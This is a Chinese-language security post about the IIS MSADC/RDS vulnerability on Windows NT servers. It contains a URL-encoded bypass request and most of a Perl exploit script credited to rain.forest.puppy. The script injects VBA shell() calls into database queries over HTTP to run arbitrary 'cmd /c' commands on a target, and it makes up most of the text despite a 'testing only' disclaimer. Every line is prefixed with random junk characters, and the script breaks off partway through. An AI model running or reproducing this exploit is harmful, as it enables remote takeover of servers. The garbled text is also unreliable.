IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
"" EQE>d 2GG2jky{/ 涉及程序:
xskz)kk Microsoft NT server
VUuE T 2&cT~ZX&' 描述:
gs`q6f%( 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
v`T
c}c ' qf-8<{T 详细:
)boE/4 如果你没有时间读详细内容的话,就删除:
-mh3DhJ, c:\Program Files\Common Files\System\Msadc\msadcs.dll
*{5fq_ 有关的安全问题就没有了。
(/$^uWj {P-): 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
~&uHbTq |Y.?_lC 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
);YDtGip J 关于利用ODBC远程漏洞的描述,请参看:
yB!dp;gM{ [nh>vqum http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm VIbq:U o4WDh@d5S 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
3OB"#Ap8< http://www.microsoft.com/security/bulletins/MS99-025faq.asp &7s.` 4skD(au8 这里不再论述。
yf,z$CR qxc[M8s 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
x?<FJ"8"k mR)wX 6 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
vP,n(reM 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
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#将下面这段保存为txt文件,然后: "perl -x 文件名"
Iga024KR \b>]8Un" #!perl
U$UIN# #
?q [T # MSADC/RDS 'usage' (aka exploit) script
y1#1Ne_ #
L"aeG # by rain.forest.puppy
wuo,kM #
q.}CU.dp # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
iURe( [@ # beta test and find errors!
B-mowmJ3dg 5lum $5 use Socket; use Getopt::Std;
|':{lH6+1 getopts("e:vd:h:XR", \%args);
y
B$x>Q'C( n&!-9:0 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
}QmqoCAE~m _u Il if (!defined $args{h} && !defined $args{R}) {
xYB{;K print qq~
;F Eqe49 Usage: msadc.pl -h <host> { -d <delay> -X -v }
pK4)yu+ -h <host> = host you want to scan (ip or domain)
K)P%;X -d <seconds> = delay between calls, default 1 second
Tj- s4x -X = dump Index Server path table, if available
rZpXPI -v = verbose
QsW/X0YBv -e = external dictionary file for step 5
6dYMwMH "Y.y:Vv; Or a -R will resume a command session
OZ&o:/*HM (tO\)aS= ~; exit;}
H"F29Pu2 (-co. $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
#LNED)Vg if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
_VXN#@y if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
"gwSJ~:ds if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
*K;~!P $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-n;}n:wL if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
WY]s |2a d"Y{UE if (!defined $args{R}){ $ret = &has_msadc;
S8gs-gL#Og die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
d d;T-wa} fB,_9K5i print "Please type the NT commandline you want to run (cmd /c assumed):\n"
##ANrG l . "cmd /c ";
i@'dH3-kO
$in=<STDIN>; chomp $in;
S]{oPc[7 $command="cmd /c " . $in ;
K>
e7pu >R=|Wo`Ri if (defined $args{R}) {&load; exit;}
FiU#T.`9' 3gf1ownC print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Z6m)tZVM &try_btcustmr;
?@8[e9lLD :v 4]D4\o print "\nStep 2: Trying to make our own DSN...";
IRbfNq^: &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
WF"k[2 DV{=n C print "\nStep 3: Trying known DSNs...";
Hx:;@_gq &known_dsn;
hv+zGID7 PI<vxjOK` print "\nStep 4: Trying known .mdbs...";
1YMh1+1 &known_mdb;
2T`!v ~)'k 9?0 if (defined $args{e}){
rM"l@3hP print "\nStep 5: Trying dictionary of DSN names...";
Y\tui+?J &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
!&\INl-Z tnIX:6 print "Sorry Charley...maybe next time?\n";
g=I})s:CTp exit;
|cY`x(?yP GKCroyor ##############################################################################
9!tW.pK5 \j.:3Xr sub sendraw { # ripped and modded from whisker
@ .KGfNu sleep($delay); # it's a DoS on the server! At least on mine...
FPTK`Gd0 my ($pstr)=@_;
h7@6T+#WoT socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8XbT`y die("Socket problems\n");
mVmGg, if(connect(S,pack "SnA4x8",2,80,$target)){
I2DpRMy select(S); $|=1;
9>$p print $pstr; my @in=<S>;
L=h'Qgk% select(STDOUT); close(S);
<\FH fE return @in;
:H[6Lg\* } else { die("Can't connect...\n"); }}
{: W$LWET Vz[C=_m ##############################################################################
M:V_/@W. @|)Z"m7 sub make_header { # make the HTTP request
8r!zBKq2~ my $msadc=<<EOT
nF/OPd POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
~_ a-E User-Agent: ACTIVEDATA
$]8Q(/mbK Host: $ip
F<w/PMb Content-Length: $clen
RT5T1K08I Connection: Keep-Alive
MY/}-*| 3N:D6w-R ADCClientVersion:01.06
::F|8 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Np)lIGE :i7;w%B --!ADM!ROX!YOUR!WORLD!
]N[ 5q=A5 Content-Type: application/x-varg
)_NO4`ejs/ Content-Length: $reqlen
Q7A MRrN |D.ND%K& EOT
;=UsAB] ; $msadc=~s/\n/\r\n/g;
&-=5Xc+Z return $msadc;}
{_dvx*M U%<Inb}ad ##############################################################################
WN<zkM~3 QdC<Sk!G sub make_req { # make the RDS request
W'.m'3#z my ($switch, $p1, $p2)=@_;
w*MpX
U< my $req=""; my $t1, $t2, $query, $dsn;
Ca3~/KrM t0I{q0 if ($switch==1){ # this is the btcustmr.mdb query
]:\dPw`A $query="Select * from Customers where City=" . make_shell();
}d }lR $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
8.~kK<)! $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
E~:x(5'%d %PJQ%~
A elsif ($switch==2){ # this is general make table query
-!9G0h&i| $query="create table AZZ (B int, C varchar(10))";
nxHkv`s k $dsn="$p1";}
Y4( K4);HJ|= elsif ($switch==3){ # this is general exploit table query
w`=\5Oa .G $query="select * from AZZ where C=" . make_shell();
MJrR[h] $dsn="$p1";}
'P}0FktP` ,v&(Y Od elsif ($switch==4){ # attempt to hork file info from index server
ei{eTp4HpV $query="select path from scope()";
O| hpXkV $dsn="Provider=MSIDXS;";}
4H<lm*!^ d`6 'Z elsif ($switch==5){ # bad query
?R#)1{(8d~ $query="select";
k;L6R!V $dsn="$p1";}
@OHm#`~ $tS}LN_!
$t1= make_unicode($query);
}iuw5dik+ $t2= make_unicode($dsn);
I!?}jo3 $req = "\x02\x00\x03\x00";
40<mrVl $req.= "\x08\x00" . pack ("S1", length($t1));
_/K_[w 1 $req.= "\x00\x00" . $t1 ;
PiYxk+N $req.= "\x08\x00" . pack ("S1", length($t2));
6JQ'Ik;$wX $req.= "\x00\x00" . $t2 ;
V$?SR44>nH $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
8&aq/4:q0 return $req;}
J)C/u{o K96<M);:g ##############################################################################
(!N|Kl JO<wU sub make_shell { # this makes the shell() statement
?I@W:#>o return "'|shell(\"$command\")|'";}
ia 73?*mXT 3%ZOKb"D* ##############################################################################
*=c1do%F mdgi5v sub make_unicode { # quick little function to convert to unicode
VU d\QR- my ($in)=@_; my $out;
D5HZ2cz|a for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
"FKOaQ%IH return $out;}
@{O`E^}-D _#h_: ##############################################################################
uRr o?m< z]9MM
2+ sub rdo_success { # checks for RDO return success (this is kludge)
|H+Wed| my (@in) = @_; my $base=content_start(@in);
U ZsH9
o if($in[$base]=~/multipart\/mixed/){
IobD3:D8W return 1 if( $in[$base+10]=~/^\x09\x00/ );}
:Zz
'1C return 0;}
n=ux5M 5[u]E~Fl} ##############################################################################
Nu7
!8[?r* w*JGUk sub make_dsn { # this makes a DSN for us
^]-6u:J! my @drives=("c","d","e","f");
Q)[C?obd v print "\nMaking DSN: ";
>
"=>3 foreach $drive (@drives) {
HoL
Et8Q print "$drive: ";
& 9 ?\b7 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
[1
9,&]z "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
KyQX!,rV . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Hg$lXtn] $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
,Vk3kmuvr] return 0 if $2 eq "404"; # not found/doesn't exist
0=E]cQwh if($2 eq "200") {
1PV'?tXp( foreach $line (@results) {
"!%l/_p? return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
C-[eaHJ'$ } return 0;}
'u b@]ru| $'hEz/ ##############################################################################
:A'y+MnK< =zKM=qba sub verify_exists {
=$Nq my ($page)=@_;
e;}7G my @results=sendraw("GET $page HTTP/1.0\n\n");
Ak"m 85B return $results[0];}
KNIn:K^/ 5, 6"&vU, ##############################################################################
[ ~&/s:Vvo ah+iZ}E% sub try_btcustmr {
wx0j(:B] my @drives=("c","d","e","f");
X*@dj_, my @dirs=("winnt","winnt35","winnt351","win","windows");
xx%j.zDI] r
# cGop] foreach $dir (@dirs) {
_8_R 1s print "$dir -> "; # fun status so you can see progress
4u5-7[TZ foreach $drive (@drives) {
]F'e
aR print "$drive: "; # ditto
g~A`N=r;h $reqlen=length( make_req(1,$drive,$dir) ) - 28;
v<( $reqlenlen=length( "$reqlen" );
"mvt>X $clen= 206 + $reqlenlen + $reqlen;
h|{]B,.Lh DG:Z=LuJr my @results=sendraw(make_header() . make_req(1,$drive,$dir));
[}0haTYc4 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Q| ?L*Pq2I else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
76h ,]xi
oEKvl3Hz_ ##############################################################################
4
VW[E1< #KexvP&* sub odbc_error {
orMwAV my (@in)=@_; my $base;
aH/
k Ua my $base = content_start(@in);
FSW_<% if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
X!dYdWw*m $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;P%1j| 7 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[;),\\u,d $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~<F8ug# return $in[$base+4].$in[$base+5].$in[$base+6];}
9H`XeQ. print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
|_aa&v~ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
GH:jH]u!V $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
]R f[y zL `iK"N` ##############################################################################
MC.)2B7 C
mWgcw1 sub verbose {
V7fq4O^: my ($in)=@_;
::{Q1F return if !$verbose;
2?ez,*-[ print STDOUT "\n$in\n";}
UIN<2F_ hAnPXiD ##############################################################################
>rKIG~P_ }.m< sub save {
=QiI :|eRA my ($p1, $p2, $p3, $p4)=@_;
mQ26K~ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
(b-MMr print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
c>:wd@w close OUT;}
9} M?P ?:I* 8Fj ##############################################################################
hVAn>_( NzOx0WLF sub load {
"2$fi{9 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ryUQU^v open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Tc`=f'pP)4 @p=<IN>; close(IN);
peuZ&yK+" $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Ep3N&Imp $target= inet_aton($ip) || die("inet_aton problems");
$OkBg0 print "Resuming to $ip ...";
9oR@UW1 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
^sEYOX\ if($p[1]==1) {
PB`Y
g $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
:L@?2), $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
l=)xo@6 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
n QZwC
if (rdo_success(@results)){print "Success!\n";}
hwBfdZ else { print "failed\n"; verbose(odbc_error(@results));}}
9YQb& elsif ($p[1]==3){
e+BQww if(run_query("$p[3]")){
Z|j>gq print "Success!\n";} else { print "failed\n"; }}
e9 5Lo+:f elsif ($p[1]==4){
j<jN05p if(run_query($drvst . "$p[3]")){
j8{i#;s!" print "Success!\n"; } else { print "failed\n"; }}
a PfO$b: exit;}
J1RJ*mo7, GmEJhr.3`= ##############################################################################
cyv`B3} Z=Y& B>:[ sub create_table {
pVw}g@<M my ($in)=@_;
)SRefW.v $reqlen=length( make_req(2,$in,"") ) - 28;
@oY~..d` $reqlenlen=length( "$reqlen" );
ujq=F $clen= 206 + $reqlenlen + $reqlen;
6/Xk7B my @results=sendraw(make_header() . make_req(2,$in,""));
?;+1)> { return 1 if rdo_success(@results);
)E@.!Ut4o my $temp= odbc_error(@results); verbose($temp);
JNYFD8J~ return 1 if $temp=~/Table 'AZZ' already exists/;
z] PSpUd return 0;}
}mq6]ZrK dIa+K?INX ##############################################################################
xU>WEm2 RD'Q :W sub known_dsn {
#crQ1p) \ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
#9}D4i.`} my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
D] jzAx "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
(%e.:W${ "banner", "banners", "ads", "ADCDemo", "ADCTest");
T?soJ]A ?2;&O`x* foreach $dSn (@dsns) {
ag#S6E^%S print ".";
8Pn#+IvCE next if (!is_access("DSN=$dSn"));
%x{kc3PnO if(create_table("DSN=$dSn")){
zrL$]Oy}x print "$dSn successful\n";
)c83/= <v if(run_query("DSN=$dSn")){
[OV"}<V print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
mPN@{.(j print "Something's borked. Use verbose next time\n";}}} print "\n";}
aa?b`[Xa H*&f: